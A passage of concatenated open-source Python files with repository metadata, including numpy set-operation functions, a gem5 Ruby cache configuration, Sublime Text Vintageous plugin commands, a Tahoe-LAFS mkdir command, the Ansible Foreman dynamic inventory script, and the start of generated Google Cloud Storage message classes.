not assume_unique: # Might be faster than unique( intersect1d( ar1, ar2 ) )? ar1 = unique(ar1) ar2 = unique(ar2) aux = np.concatenate((ar1, ar2)) aux.sort() return aux[:-1][aux[1:] == aux[:-1]] def setxor1d(ar1, ar2, assume_unique=False): """ Find the set exclusive-or of two arrays. Return the sorted, unique values that are in only one (not both) of the input arrays. Parameters ---------- ar1, ar2 : array_like Input arrays. assume_unique : bool If True, the input arrays are both assumed to be unique, which can speed up the calculation. Default is False. Returns ------- setxor1d : ndarray Sorted 1D array of unique values that are in only one of the input arrays. Examples -------- >>> a = np.array([1, 2, 3, 2, 4]) >>> b = np.array([2, 3, 5, 7, 5]) >>> np.setxor1d(a,b) array([1, 4, 5, 7]) """ if not assume_unique: ar1 = unique(ar1) ar2 = unique(ar2) aux = np.concatenate((ar1, ar2)) if aux.size == 0: return aux aux.sort() # flag = ediff1d( aux, to_end = 1, to_begin = 1 ) == 0 flag = np.concatenate(([True], aux[1:] != aux[:-1], [True])) # flag2 = ediff1d( flag ) == 0 flag2 = flag[1:] == flag[:-1] return aux[flag2] def in1d(ar1, ar2, assume_unique=False, invert=False): """ Test whether each element of a 1-D array is also present in a second array. Returns a boolean array the same length as `ar1` that is True where an element of `ar1` is in `ar2` and False otherwise. Parameters ---------- ar1 : (M,) array_like Input array. ar2 : array_like The values against which to test each value of `ar1`. assume_unique : bool, optional If True, the input arrays are both assumed to be unique, which can speed up the calculation. Default is False. invert : bool, optional If True, the values in the returned array are inverted (that is, False where an element of `ar1` is in `ar2` and True otherwise). Default is False. ``np.in1d(a, b, invert=True)`` is equivalent to (but is faster than) ``np.invert(in1d(a, b))``. .. versionadded:: 1.8.0 Returns ------- in1d : (M,) ndarray, bool The values `ar1[in1d]` are in `ar2`. See Also -------- numpy.lib.arraysetops : Module with a number of other functions for performing set operations on arrays. Notes ----- `in1d` can be considered as an element-wise function version of the python keyword `in`, for 1-D sequences. ``in1d(a, b)`` is roughly equivalent to ``np.array([item in b for item in a])``. However, this idea fails if `ar2` is a set, or similar (non-sequence) container: As ``ar2`` is converted to an array, in those cases ``asarray(ar2)`` is an object array rather than the expected array of contained values. .. versionadded:: 1.4.0 Examples -------- >>> test = np.array([0, 1, 2, 5, 0]) >>> states = [0, 2] >>> mask = np.in1d(test, states) >>> mask array([ True, False, True, False, True], dtype=bool) >>> test[mask] array([0, 2, 0]) >>> mask = np.in1d(test, states, invert=True) >>> mask array([False, True, False, True, False], dtype=bool) >>> test[mask] array([1, 5]) """ # Ravel both arrays, behavior for the first array could be different ar1 = np.asarray(ar1).ravel() ar2 = np.asarray(ar2).ravel() # This code is significantly faster when the condition is satisfied. if len(ar2) < 10 * len(ar1) ** 0.145: if invert: mask = np.ones(len(ar1), dtype=np.bool) for a in ar2: mask &= (ar1 != a) else: mask = np.zeros(len(ar1), dtype=np.bool) for a in ar2: mask |= (ar1 == a) return mask # Otherwise use sorting if not assume_unique: ar1, rev_idx = np.unique(ar1, return_inverse=True) ar2 = np.unique(ar2) ar = np.concatenate((ar1, ar2)) # We need this to be a stable sort, so always use 'mergesort' # here. The values from the first array should always come before # the values from the second array. order = ar.argsort(kind='mergesort') sar = ar[order] if invert: bool_ar = (sar[1:] != sar[:-1]) else: bool_ar = (sar[1:] == sar[:-1]) flag = np.concatenate((bool_ar, [invert])) ret = np.empty(ar.shape, dtype=bool) ret[order] = flag if assume_unique: return ret[:len(ar1)] else: return ret[rev_idx] def union1d(ar1, ar2): """ Find the union of two arrays. Return the unique, sorted array of values that are in either of the two input arrays. Parameters ---------- ar1, ar2 : array_like Input arrays. They are flattened if they are not already 1D. Returns ------- union1d : ndarray Unique, sorted union of the input arrays. See Also -------- numpy.lib.arraysetops : Module with a number of other functions for performing set operations on arrays. Examples -------- >>> np.union1d([-1, 0, 1], [-2, 0, 2]) array([-2, -1, 0, 1, 2]) To find the union of more than two arrays, use functools.reduce: >>> from functools import reduce >>> reduce(np.union1d, ([1, 3, 4, 3], [3, 1, 2, 1], [6, 3, 4, 2])) array([1, 2, 3, 4, 6]) """ return unique(np.concatenate((ar1, ar2))) def setdiff1d(ar1, ar2, assume_unique=False): """ Find the set difference of two arrays. Return the sorted, unique values in `ar1` that are not in `ar2`. Parameters ---------- ar1 : array_like Input array. ar2 : array_like Input comparison array. assume_unique : bool If True, the input arrays are both assumed to be unique, which can speed up the calculation. Default is False. Returns ------- setdiff1d : ndarray Sorted 1D array of values in `ar1` that are not in `ar2`. See Also -------- numpy.lib.arraysetops : Module with a number of other functions for performing set operations on arrays. Examples -------- >>> a = np.array([1, 2, 3, 2, 4, 1]) >>> b = np.array([3, 4, 5, 6]) >>> np.setdiff1d(a, b) array([1, 2]) """ if assume_unique: ar1 = np.asarray(ar1).ravel() else: ar1 = unique(ar1) ar2 = unique(ar2) return ar1[in1d(ar1, ar2, assume_unique=True, invert=True)]
ssanderson/numpy
numpy/lib/arraysetops.py
Python
bsd-3-clause
16,818
# Copyright (c) 2006-2007 The Regents of The University of Michigan # Copyright (c) 2009 Advanced Micro Devices, Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer; # redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution; # neither the name of the copyright holders nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # Authors: Brad Beckmann import math import m5 from m5.objects import * from m5.defines import buildEnv # # Note: the cache latency is only used by the sequencer on fast path hits # class Cache(RubyCache): latency = 3 def define_options(parser): return def create_system(options, system, piobus, dma_ports, ruby_system): if buildEnv['PROTOCOL'] != 'MI_example': panic("This script requires the MI_example protocol to be built.") cpu_sequencers = [] # # The ruby network creation expects the list of nodes in the system to be # consistent with the NetDest list. Therefore the l1 controller nodes must be # listed before the directory nodes and directory nodes before dma nodes, etc. # l1_cntrl_nodes = [] dir_cntrl_nodes = [] dma_cntrl_nodes = [] # # Must create the individual controllers before the network to ensure the # controller constructors are called before the network constructor # block_size_bits = int(math.log(options.cacheline_size, 2)) cntrl_count = 0 for i in xrange(options.num_cpus): # # First create the Ruby objects associated with this cpu # Only one cache exists for this protocol, so by default use the L1D # config parameters. # cache = Cache(size = options.l1d_size, assoc = options.l1d_assoc, start_index_bit = block_size_bits) # # Only one unified L1 cache exists. Can cache instructions and data. # l1_cntrl = L1Cache_Controller(version = i, cntrl_id = cntrl_count, cacheMemory = cache, send_evictions = ( options.cpu_type == "detailed"), ruby_system = ruby_system) cpu_seq = RubySequencer(version = i, icache = cache, dcache = cache, ruby_system = ruby_system) l1_cntrl.sequencer = cpu_seq if piobus != None: cpu_seq.pio_port = piobus.slave exec("system.l1_cntrl%d = l1_cntrl" % i) # # Add controllers and sequencers to the appropriate lists # cpu_sequencers.append(cpu_seq) l1_cntrl_nodes.append(l1_cntrl) cntrl_count += 1 phys_mem_size = 0 for mem in system.memories.unproxy(system): phys_mem_size += long(mem.range.second) - long(mem.range.first) + 1 mem_module_size = phys_mem_size / options.num_dirs for i in xrange(options.num_dirs): # # Create the Ruby objects associated with the directory controller # mem_cntrl = RubyMemoryControl(version = i) dir_size = MemorySize('0B') dir_size.value = mem_module_size dir_cntrl = Directory_Controller(version = i, cntrl_id = cntrl_count, directory = \ RubyDirectoryMemory( \ version = i, size = dir_size, use_map = options.use_map, map_levels = \ options.map_levels), memBuffer = mem_cntrl, ruby_system = ruby_system) exec("system.dir_cntrl%d = dir_cntrl" % i) dir_cntrl_nodes.append(dir_cntrl) cntrl_count += 1 for i, dma_port in enumerate(dma_ports): # # Create the Ruby objects associated with the dma controller # dma_seq = DMASequencer(version = i, ruby_system = ruby_system) dma_cntrl = DMA_Controller(version = i, cntrl_id = cntrl_count, dma_sequencer = dma_seq, ruby_system = ruby_system) exec("system.dma_cntrl%d = dma_cntrl" % i) exec("system.dma_cntrl%d.dma_sequencer.slave = dma_port" % i) dma_cntrl_nodes.append(dma_cntrl) cntrl_count += 1 all_cntrls = l1_cntrl_nodes + dir_cntrl_nodes + dma_cntrl_nodes return (cpu_sequencers, dir_cntrl_nodes, all_cntrls)
dpac-vlsi/SynchroTrace
util/configs/ruby/MI_example.py
Python
bsd-3-clause
6,181
"""Assorted commands. """ import os import threading import sublime import sublime_plugin from Vintageous.state import _init_vintageous from Vintageous.state import State from Vintageous.vi import settings from Vintageous.vi import cmd_defs from Vintageous.vi.dot_file import DotFile from Vintageous.vi.utils import modes from Vintageous.vi.utils import regions_transformer class _vi_slash_on_parser_done(sublime_plugin.WindowCommand): def run(self, key=None): state = State(self.window.active_view()) state.motion = cmd_defs.ViSearchForwardImpl() state.last_buffer_search = (state.motion._inp or state.last_buffer_search) class _vi_question_mark_on_parser_done(sublime_plugin.WindowCommand): def run(self, key=None): state = State(self.window.active_view()) state.motion = cmd_defs.ViSearchBackwardImpl() state.last_buffer_search = (state.motion._inp or state.last_buffer_search) # TODO: Test me. class VintageStateTracker(sublime_plugin.EventListener): def on_post_save(self, view): # Ensure the carets are within valid bounds. For instance, this is a # concern when `trim_trailing_white_space_on_save` is set to true. state = State(view) view.run_command('_vi_adjust_carets', {'mode': state.mode}) def on_query_context(self, view, key, operator, operand, match_all): vintage_state = State(view) return vintage_state.context.check(key, operator, operand, match_all) def on_close(self, view): settings.destroy(view) class ViMouseTracker(sublime_plugin.EventListener): def on_text_command(self, view, command, args): if command == 'drag_select': state = State(view) if state.mode in (modes.VISUAL, modes.VISUAL_LINE, modes.VISUAL_BLOCK): if (args.get('extend') or (args.get('by') == 'words') or args.get('additive')): return elif not args.get('extend'): return ('sequence', {'commands': [ ['drag_select', args], ['_enter_normal_mode', { 'mode': state.mode}] ]}) elif state.mode == modes.NORMAL: # TODO(guillermooo): Dragging the mouse does not seem to # fire a different event than simply clicking. This makes it # hard to update the xpos. if args.get('extend') or (args.get('by') == 'words'): return ('sequence', {'commands': [ ['drag_select', args], ['_enter_visual_mode', { 'mode': state.mode}] ]}) # TODO: Test me. class ViFocusRestorerEvent(sublime_plugin.EventListener): def __init__(self): self.timer = None def action(self): self.timer = None def on_activated(self, view): if self.timer: self.timer.cancel() # Switching to a different view; enter normal mode. _init_vintageous(view) else: # Switching back from another application. Ignore. pass def on_deactivated(self, view): self.timer = threading.Timer(0.25, self.action) self.timer.start() class _vi_adjust_carets(sublime_plugin.TextCommand): def run(self, edit, mode=None): def f(view, s): if mode in (modes.NORMAL, modes.INTERNAL_NORMAL): if ((view.substr(s.b) == '\n' or s.b == view.size()) and not view.line(s.b).empty()): return sublime.Region(s.b - 1) return s regions_transformer(self.view, f) class Sequence(sublime_plugin.TextCommand): """Required so that mark_undo_groups_for_gluing and friends work. """ def run(self, edit, commands): for cmd, args in commands: self.view.run_command(cmd, args) class ResetVintageous(sublime_plugin.WindowCommand): def run(self): v = self.window.active_view() v.settings().erase('vintage') _init_vintageous(v) DotFile.from_user().run() print("Package.Vintageous: State reset.") sublime.status_message("Vintageous: State reset") class ForceExitFromCommandMode(sublime_plugin.WindowCommand): """ A sort of a panic button. """ def run(self): v = self.window.active_view() v.settings().erase('vintage') # XXX: What happens exactly when the user presses Esc again now? Which # more are we in? v.settings().set('command_mode', False) v.settings().set('inverse_caret_state', False) print("Vintageous: Exiting from command mode.") sublime.status_message("Vintageous: Exiting from command mode.") class VintageousToggleCtrlKeys(sublime_plugin.WindowCommand): def run(self): prefs = sublime.load_settings('Preferences.sublime-settings') value = prefs.get('vintageous_use_ctrl_keys', False) prefs.set('vintageous_use_ctrl_keys', (not value)) sublime.save_settings('Preferences.sublime-settings') status = 'enabled' if (not value) else 'disabled' print("Package.Vintageous: Use of Ctrl- keys {0}.".format(status)) sublime.status_message("Vintageous: Use of Ctrl- keys {0}" .format(status)) class ReloadVintageousSettings(sublime_plugin.TextCommand): def run(self, edit): DotFile.from_user().run() class VintageousOpenConfigFile(sublime_plugin.WindowCommand): """Opens or creates $packages/User/.vintageousrc. """ def run(self): path = os.path.realpath(os.path.join(sublime.packages_path(), 'User/.vintageousrc')) if os.path.exists(path): self.window.open_file(path) else: with open(path, 'w'): pass self.window.open_file(path)
zhangtuoparis13/Vintageous
xsupport.py
Python
mit
6,043
import urllib from allmydata.scripts.common_http import do_http, check_http_error from allmydata.scripts.common import get_alias, DEFAULT_ALIAS, UnknownAliasError from allmydata.util.encodingutil import quote_output def mkdir(options): nodeurl = options['node-url'] aliases = options.aliases where = options.where stdout = options.stdout stderr = options.stderr if not nodeurl.endswith("/"): nodeurl += "/" if where: try: rootcap, path = get_alias(aliases, where, DEFAULT_ALIAS) except UnknownAliasError, e: e.display(stderr) return 1 if not where or not path: # create a new unlinked directory url = nodeurl + "uri?t=mkdir" if options["format"]: url += "&format=%s" % urllib.quote(options['format']) resp = do_http("POST", url) rc = check_http_error(resp, stderr) if rc: return rc new_uri = resp.read().strip() # emit its write-cap print >>stdout, quote_output(new_uri, quotemarks=False) return 0 # create a new directory at the given location if path.endswith("/"): path = path[:-1] # path must be "/".join([s.encode("utf-8") for s in segments]) url = nodeurl + "uri/%s/%s?t=mkdir" % (urllib.quote(rootcap), urllib.quote(path)) if options['format']: url += "&format=%s" % urllib.quote(options['format']) resp = do_http("POST", url) check_http_error(resp, stderr) new_uri = resp.read().strip() print >>stdout, quote_output(new_uri, quotemarks=False) return 0
david415/tahoe-lafs
src/allmydata/scripts/tahoe_mkdir.py
Python
gpl-2.0
1,660
#!/usr/bin/env python # vim: set fileencoding=utf-8 : # # Copyright (C) 2016 Guido Günther <agx@sigxcpu.org>, # Daniel Lobato Garcia <dlobatog@redhat.com> # # This script is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with it. If not, see <http://www.gnu.org/licenses/>. # # This is somewhat based on cobbler inventory # Stdlib imports # __future__ imports must occur at the beginning of file from __future__ import print_function try: # Python 2 version import ConfigParser except ImportError: # Python 3 version import configparser as ConfigParser import json import argparse import copy import os import re import sys from time import time from collections import defaultdict from distutils.version import LooseVersion, StrictVersion # 3rd party imports import requests if LooseVersion(requests.__version__) < LooseVersion('1.1.0'): print('This script requires python-requests 1.1 as a minimum version') sys.exit(1) from requests.auth import HTTPBasicAuth from ansible.module_utils._text import to_text def json_format_dict(data, pretty=False): """Converts a dict to a JSON object and dumps it as a formatted string""" if pretty: return json.dumps(data, sort_keys=True, indent=2) else: return json.dumps(data) class ForemanInventory(object): def __init__(self): self.inventory = defaultdict(list) # A list of groups and the hosts in that group self.cache = dict() # Details about hosts in the inventory self.params = dict() # Params of each host self.facts = dict() # Facts of each host self.hostgroups = dict() # host groups self.hostcollections = dict() # host collections self.session = None # Requests session self.config_paths = [ "/etc/ansible/foreman.ini", os.path.dirname(os.path.realpath(__file__)) + '/foreman.ini', ] env_value = os.environ.get('FOREMAN_INI_PATH') if env_value is not None: self.config_paths.append(os.path.expanduser(os.path.expandvars(env_value))) def read_settings(self): """Reads the settings from the foreman.ini file""" config = ConfigParser.SafeConfigParser() config.read(self.config_paths) # Foreman API related try: self.foreman_url = config.get('foreman', 'url') self.foreman_user = config.get('foreman', 'user') self.foreman_pw = config.get('foreman', 'password', raw=True) self.foreman_ssl_verify = config.getboolean('foreman', 'ssl_verify') except (ConfigParser.NoOptionError, ConfigParser.NoSectionError) as e: print("Error parsing configuration: %s" % e, file=sys.stderr) return False # Ansible related try: group_patterns = config.get('ansible', 'group_patterns') except (ConfigParser.NoOptionError, ConfigParser.NoSectionError): group_patterns = "[]" self.group_patterns = json.loads(group_patterns) try: self.group_prefix = config.get('ansible', 'group_prefix') except (ConfigParser.NoOptionError, ConfigParser.NoSectionError): self.group_prefix = "foreman_" try: self.want_facts = config.getboolean('ansible', 'want_facts') except (ConfigParser.NoOptionError, ConfigParser.NoSectionError): self.want_facts = True try: self.want_hostcollections = config.getboolean('ansible', 'want_hostcollections') except (ConfigParser.NoOptionError, ConfigParser.NoSectionError): self.want_hostcollections = False # Do we want parameters to be interpreted if possible as JSON? (no by default) try: self.rich_params = config.getboolean('ansible', 'rich_params') except (ConfigParser.NoOptionError, ConfigParser.NoSectionError): self.rich_params = False try: self.host_filters = config.get('foreman', 'host_filters') except (ConfigParser.NoOptionError, ConfigParser.NoSectionError): self.host_filters = None # Cache related try: cache_path = os.path.expanduser(config.get('cache', 'path')) except (ConfigParser.NoOptionError, ConfigParser.NoSectionError): cache_path = '.' (script, ext) = os.path.splitext(os.path.basename(__file__)) self.cache_path_cache = cache_path + "/%s.cache" % script self.cache_path_inventory = cache_path + "/%s.index" % script self.cache_path_params = cache_path + "/%s.params" % script self.cache_path_facts = cache_path + "/%s.facts" % script self.cache_path_hostcollections = cache_path + "/%s.hostcollections" % script try: self.cache_max_age = config.getint('cache', 'max_age') except (ConfigParser.NoOptionError, ConfigParser.NoSectionError): self.cache_max_age = 60 try: self.scan_new_hosts = config.getboolean('cache', 'scan_new_hosts') except (ConfigParser.NoOptionError, ConfigParser.NoSectionError): self.scan_new_hosts = False return True def parse_cli_args(self): """Command line argument processing""" parser = argparse.ArgumentParser(description='Produce an Ansible Inventory file based on foreman') parser.add_argument('--list', action='store_true', default=True, help='List instances (default: True)') parser.add_argument('--host', action='store', help='Get all the variables about a specific instance') parser.add_argument('--refresh-cache', action='store_true', default=False, help='Force refresh of cache by making API requests to foreman (default: False - use cache files)') self.args = parser.parse_args() def _get_session(self): if not self.session: self.session = requests.session() self.session.auth = HTTPBasicAuth(self.foreman_user, self.foreman_pw) self.session.verify = self.foreman_ssl_verify return self.session def _get_json(self, url, ignore_errors=None, params=None): if params is None: params = {} params['per_page'] = 250 page = 1 results = [] s = self._get_session() while True: params['page'] = page ret = s.get(url, params=params) if ignore_errors and ret.status_code in ignore_errors: break ret.raise_for_status() json = ret.json() # /hosts/:id has not results key if 'results' not in json: return json # Facts are returned as dict in results not list if isinstance(json['results'], dict): return json['results'] # List of all hosts is returned paginaged results = results + json['results'] if len(results) >= json['subtotal']: break page += 1 if len(json['results']) == 0: print("Did not make any progress during loop. " "expected %d got %d" % (json['total'], len(results)), file=sys.stderr) break return results def _get_hosts(self): url = "%s/api/v2/hosts" % self.foreman_url params = {} if self.host_filters: params['search'] = self.host_filters return self._get_json(url, params=params) def _get_host_data_by_id(self, hid): url = "%s/api/v2/hosts/%s" % (self.foreman_url, hid) return self._get_json(url) def _get_facts_by_id(self, hid): url = "%s/api/v2/hosts/%s/facts" % (self.foreman_url, hid) return self._get_json(url) def _resolve_params(self, host_params): """Convert host params to dict""" params = {} for param in host_params: name = param['name'] if self.rich_params: try: params[name] = json.loads(param['value']) except ValueError: params[name] = param['value'] else: params[name] = param['value'] return params def _get_facts(self, host): """Fetch all host facts of the host""" if not self.want_facts: return {} ret = self._get_facts_by_id(host['id']) if len(ret.values()) == 0: facts = {} elif len(ret.values()) == 1: facts = list(ret.values())[0] else: raise ValueError("More than one set of facts returned for '%s'" % host) return facts def write_to_cache(self, data, filename): """Write data in JSON format to a file""" json_data = json_format_dict(data, True) cache = open(filename, 'w') cache.write(json_data) cache.close() def _write_cache(self): self.write_to_cache(self.cache, self.cache_path_cache) self.write_to_cache(self.inventory, self.cache_path_inventory) self.write_to_cache(self.params, self.cache_path_params) self.write_to_cache(self.facts, self.cache_path_facts) self.write_to_cache(self.hostcollections, self.cache_path_hostcollections) def to_safe(self, word): '''Converts 'bad' characters in a string to underscores so they can be used as Ansible groups >>> ForemanInventory.to_safe("foo-bar baz") 'foo_barbaz' ''' regex = r"[^A-Za-z0-9\_]" return re.sub(regex, "_", word.replace(" ", "")) def update_cache(self, scan_only_new_hosts=False): """Make calls to foreman and save the output in a cache""" self.groups = dict() self.hosts = dict() for host in self._get_hosts(): if host['name'] in self.cache.keys() and scan_only_new_hosts: continue dns_name = host['name'] host_data = self._get_host_data_by_id(host['id']) host_params = host_data.get('all_parameters', {}) # Create ansible groups for hostgroup group = 'hostgroup' val = host.get('%s_title' % group) or host.get('%s_name' % group) if val: safe_key = self.to_safe('%s%s_%s' % ( to_text(self.group_prefix), group, to_text(val).lower() )) self.inventory[safe_key].append(dns_name) # Create ansible groups for environment, location and organization for group in ['environment', 'location', 'organization']: val = host.get('%s_name' % group) if val: safe_key = self.to_safe('%s%s_%s' % ( to_text(self.group_prefix), group, to_text(val).lower() )) self.inventory[safe_key].append(dns_name) for group in ['lifecycle_environment', 'content_view']: val = host.get('content_facet_attributes', {}).get('%s_name' % group) if val: safe_key = self.to_safe('%s%s_%s' % ( to_text(self.group_prefix), group, to_text(val).lower() )) self.inventory[safe_key].append(dns_name) params = self._resolve_params(host_params) # Ansible groups by parameters in host groups and Foreman host # attributes. groupby = dict() for k, v in params.items(): groupby[k] = self.to_safe(to_text(v)) # The name of the ansible groups is given by group_patterns: for pattern in self.group_patterns: try: key = pattern.format(**groupby) self.inventory[key].append(dns_name) except KeyError: pass # Host not part of this group if self.want_hostcollections: hostcollections = host_data.get('host_collections') if hostcollections: # Create Ansible groups for host collections for hostcollection in hostcollections: safe_key = self.to_safe('%shostcollection_%s' % (self.group_prefix, hostcollection['name'].lower())) self.inventory[safe_key].append(dns_name) self.hostcollections[dns_name] = hostcollections self.cache[dns_name] = host self.params[dns_name] = params self.facts[dns_name] = self._get_facts(host) self.inventory['all'].append(dns_name) self._write_cache() def is_cache_valid(self): """Determines if the cache is still valid""" if os.path.isfile(self.cache_path_cache): mod_time = os.path.getmtime(self.cache_path_cache) current_time = time() if (mod_time + self.cache_max_age) > current_time: if (os.path.isfile(self.cache_path_inventory) and os.path.isfile(self.cache_path_params) and os.path.isfile(self.cache_path_facts)): return True return False def load_inventory_from_cache(self): """Read the index from the cache file sets self.index""" with open(self.cache_path_inventory, 'r') as fp: self.inventory = json.load(fp) def load_params_from_cache(self): """Read the index from the cache file sets self.index""" with open(self.cache_path_params, 'r') as fp: self.params = json.load(fp) def load_facts_from_cache(self): """Read the index from the cache file sets self.facts""" if not self.want_facts: return with open(self.cache_path_facts, 'r') as fp: self.facts = json.load(fp) def load_hostcollections_from_cache(self): """Read the index from the cache file sets self.hostcollections""" if not self.want_hostcollections: return with open(self.cache_path_hostcollections, 'r') as fp: self.hostcollections = json.load(fp) def load_cache_from_cache(self): """Read the cache from the cache file sets self.cache""" with open(self.cache_path_cache, 'r') as fp: self.cache = json.load(fp) def get_inventory(self): if self.args.refresh_cache or not self.is_cache_valid(): self.update_cache() else: self.load_inventory_from_cache() self.load_params_from_cache() self.load_facts_from_cache() self.load_hostcollections_from_cache() self.load_cache_from_cache() if self.scan_new_hosts: self.update_cache(True) def get_host_info(self): """Get variables about a specific host""" if not self.cache or len(self.cache) == 0: # Need to load index from cache self.load_cache_from_cache() if self.args.host not in self.cache: # try updating the cache self.update_cache() if self.args.host not in self.cache: # host might not exist anymore return json_format_dict({}, True) return json_format_dict(self.cache[self.args.host], True) def _print_data(self): data_to_print = "" if self.args.host: data_to_print += self.get_host_info() else: self.inventory['_meta'] = {'hostvars': {}} for hostname in self.cache: self.inventory['_meta']['hostvars'][hostname] = { 'foreman': self.cache[hostname], 'foreman_params': self.params[hostname], } if self.want_facts: self.inventory['_meta']['hostvars'][hostname]['foreman_facts'] = self.facts[hostname] data_to_print += json_format_dict(self.inventory, True) print(data_to_print) def run(self): # Read settings and parse CLI arguments if not self.read_settings(): return False self.parse_cli_args() self.get_inventory() self._print_data() return True if __name__ == '__main__': sys.exit(not ForemanInventory().run())
trondhindenes/ansible
contrib/inventory/foreman.py
Python
gpl-3.0
17,060
# telepathy-python - Base classes defining the interfaces of the Telepathy framework # # Copyright (C) 2005, 2006 Collabora Limited # Copyright (C) 2005, 2006 Nokia Corporation # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA from telepathy._generated.interfaces import * # Backwards compatibility CONN_MGR_INTERFACE = CONNECTION_MANAGER CONN_INTERFACE = CONNECTION CHANNEL_INTERFACE = CHANNEL CHANNEL_HANDLER_INTERFACE = CHANNEL_HANDLER # More backwards compatibility CONN_INTERFACE_ALIASING = CONNECTION_INTERFACE_ALIASING CONN_INTERFACE_AVATARS = CONNECTION_INTERFACE_AVATARS CONN_INTERFACE_CAPABILITIES = CONNECTION_INTERFACE_CAPABILITIES CONN_INTERFACE_PRESENCE = CONNECTION_INTERFACE_PRESENCE CONN_INTERFACE_RENAMING = CONNECTION_INTERFACE_RENAMING
davidedmundson/telepathy-hangups
telepathy/interfaces.py
Python
lgpl-2.1
1,435
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # """Generated message classes for storage version v1. Stores and retrieves potentially large, immutable data objects. """ # NOTE: This file is autogenerated and should not be edited by hand. from apitools.base.protorpclite import message_types as _message_types from apitools.base.protorpclite import messages as _messages from apitools.base.py import encoding from apitools.base.py import extra_types package = 'storage' class Bucket(_messages.Message): """A bucket. Messages: CorsValueListEntry: A CorsValueListEntry object. LifecycleValue: The bucket's lifecycle configuration. See lifecycle management for more information. LoggingValue: The bucket's logging configuration, which defines the destination bucket and optional name prefix for the current bucket's logs. OwnerValue: The owner of the bucket. This is always the project team's owner group. VersioningValue: The bucket's versioning configuration. WebsiteValue: The bucket's website configuration. Fields: acl: Access controls on the bucket. cors: The bucket's Cross-Origin Resource Sharing (CORS) configuration. defaultObjectAcl: Default access controls to apply to new objects when no ACL is provided. etag: HTTP 1.1 Entity tag for the bucket. id: The ID of the bucket. kind: The kind of item this is. For buckets, this is always storage#bucket. lifecycle: The bucket's lifecycle configuration. See lifecycle management for more information. location: The location of the bucket. Object data for objects in the bucket resides in physical storage within this region. Defaults to US. See the developer's guide for the authoritative list. logging: The bucket's logging configuration, which defines the destination bucket and optional name prefix for the current bucket's logs. metageneration: The metadata generation of this bucket. name: The name of the bucket. owner: The owner of the bucket. This is always the project team's owner group. projectNumber: The project number of the project the bucket belongs to. selfLink: The URI of this bucket. storageClass: The bucket's storage class. This defines how objects in the bucket are stored and determines the SLA and the cost of storage. Values include STANDARD, NEARLINE and DURABLE_REDUCED_AVAILABILITY. Defaults to STANDARD. For more information, see storage classes. timeCreated: The creation time of the bucket in RFC 3339 format. updated: The modification time of the bucket in RFC 3339 format. versioning: The bucket's versioning configuration. website: The bucket's website configuration. """ class CorsValueListEntry(_messages.Message): """A CorsValueListEntry object. Fields: maxAgeSeconds: The value, in seconds, to return in the Access-Control- Max-Age header used in preflight responses. method: The list of HTTP methods on which to include CORS response headers, (GET, OPTIONS, POST, etc) Note: "*" is permitted in the list of methods, and means "any method". origin: The list of Origins eligible to receive CORS response headers. Note: "*" is permitted in the list of origins, and means "any Origin". responseHeader: The list of HTTP headers other than the simple response headers to give permission for the user-agent to share across domains. """ maxAgeSeconds = _messages.IntegerField(1, variant=_messages.Variant.INT32) method = _messages.StringField(2, repeated=True) origin = _messages.StringField(3, repeated=True) responseHeader = _messages.StringField(4, repeated=True) class LifecycleValue(_messages.Message): """The bucket's lifecycle configuration. See lifecycle management for more information. Messages: RuleValueListEntry: A RuleValueListEntry object. Fields: rule: A lifecycle management rule, which is made of an action to take and the condition(s) under which the action will be taken. """ class RuleValueListEntry(_messages.Message): """A RuleValueListEntry object. Messages: ActionValue: The action to take. ConditionValue: The condition(s) under which the action will be taken. Fields: action: The action to take. condition: The condition(s) under which the action will be taken. """ class ActionValue(_messages.Message): """The action to take. Fields: type: Type of the action. Currently, only Delete is supported. """ type = _messages.StringField(1) class ConditionValue(_messages.Message): """The condition(s) under which the action will be taken. Fields: age: Age of an object (in days). This condition is satisfied when an object reaches the specified age. createdBefore: A date in RFC 3339 format with only the date part (for instance, "2013-01-15"). This condition is 